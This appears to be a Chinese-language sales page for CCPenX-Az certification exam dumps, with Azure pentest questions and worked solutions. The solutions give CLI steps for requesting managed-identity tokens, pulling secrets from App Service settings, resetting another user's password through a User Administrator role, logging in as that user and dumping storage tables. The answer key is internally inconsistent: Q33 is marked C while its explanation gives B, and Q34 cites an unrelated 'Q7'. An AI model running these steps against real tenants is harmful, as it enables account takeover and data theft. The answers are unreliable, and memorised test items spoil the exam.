為了讓生活過得更好些，參加 CCPenX-Az 認證考試獲取 The SecOps Group 認證是每位選擇IT行業的工作人員必經之路。只有獲取了公司要求的這張證書既可獲得加薪和升遷的機會。而 The SecOps Group 在考古題考試方面的雄厚實力源於業界企業的大力支持。數千家公司均依託 The SecOps Group 標準來提供一個可靠的員工業績評估。此外，數十家擁有自己考古題專案的公司也非常信賴 The SecOps Group 的 CCPenX-Az 考古題，以確保員工具備扎實的技能功底。此舉可以為公司節省大量的時間和開銷。
| Section | Objectives |
|---|---|
| Topic 1: Azure Storage & Data Exposure | - Blob storage misconfiguration exploitation - Sensitive data extraction from storage services |
| Topic 2: Azure Identity & Authentication Exploitation | - Token / credential abuse scenarios - Privilege escalation via misconfigured roles |
| Topic 3: Azure Cloud Attack Surface Enumeration | - Identity and access enumeration (Azure AD / Entra ID) - Azure resource discovery and recon |
| Topic 4: Real-world Azure Attack Chains (CTF Scenario) | - Multi-step exploitation chain from initial access to privilege escalation - Flag/goal-based task completion in live environment |
| Topic 5: Compute & Network Exploitation in Azure | - Network misconfiguration exploitation (NSG / routing) - VM exploitation and lateral movement |
>> The SecOps Group CCPenX-Az PDF <<
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問題 #31
From inside the App Service environment, request an Azure Resource Manager token using the managed identity endpoint. Which resource value should be requested for Azure Resource Manager access?
答案：B
解題說明：
Detailed Solution:
For Azure Resource Manager API calls, the token audience/resource must be:
https://management.azure.com/
Inside App Service Kudu/console, request the token:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
The response contains:
{
" access_token " : " < jwt-token > " ,
" resource " : " https://management.azure.com/ " ,
" token_type " : " Bearer "
}
Correct option:
B). https://management.azure.com/
問題 #32
During App Service enumeration, you discover that the compromised user can read App Service application settings. Find the hidden flag stored in the application settings.
答案：
解題說明：
See the Answer in Explanation below.
Explanation:
Flag{app_settings_should_not_store_secrets}
Detailed Solution:
Query App Service settings:
az webapp config appsettings list \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--output json
Search for suspicious keys:
az webapp config appsettings list \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \
--output table
Expected output:
Name SlotSetting Value
---------- ------------- ----------------------------------------
APP_FLAG False Flag{app_settings_should_not_store_secrets}
The flag is:
Flag{app_settings_should_not_store_secrets}
問題 #33
You are reviewing Azure Activity Logs after a lab compromise. Which operation indicates that an attacker reset another user's password through Microsoft Entra ID?
答案：C
解題說明：
Detailed Solution:
In an Entra ID abuse path, a privileged user such as User Administrator may reset another user's password. In logs, this appears as a user update operation involving the password profile.
Check audit logs in the portal:
Microsoft Entra ID # Monitoring # Audit logs
Or query via Microsoft Graph/Azure tooling depending on permissions.
The activity to look for is generally:
Update user
Modified property: passwordProfile
The other options represent different activities:
Microsoft.Authorization/roleAssignments/write = RBAC role assignment change Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read Correct answer:
B). Update user / password profile modification
問題 #34
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
答案：
解題說明：
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id lila.nguyen@azuresecops.onmicrosoft.com \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
nguyen@azuresecops.onmicrosoft.com.
問題 #35
The App Service has a system-assigned managed identity enabled. Identify the managed identity principal ID.
答案：
解題說明：
See the Answer in Explanation below.
Explanation:
b72a4c19-92f6-47f3-b3dd-9db5a31831d1
Detailed Solution:
Run:
az webapp identity show \
--name finance-reporting-api \
--resource-group rg-prod-apps-eastus \
--output json
Expected output:
{
" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" type " : " SystemAssigned "
}
The principalId is the service principal object ID of the managed identity.
Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.
問題 #36
......
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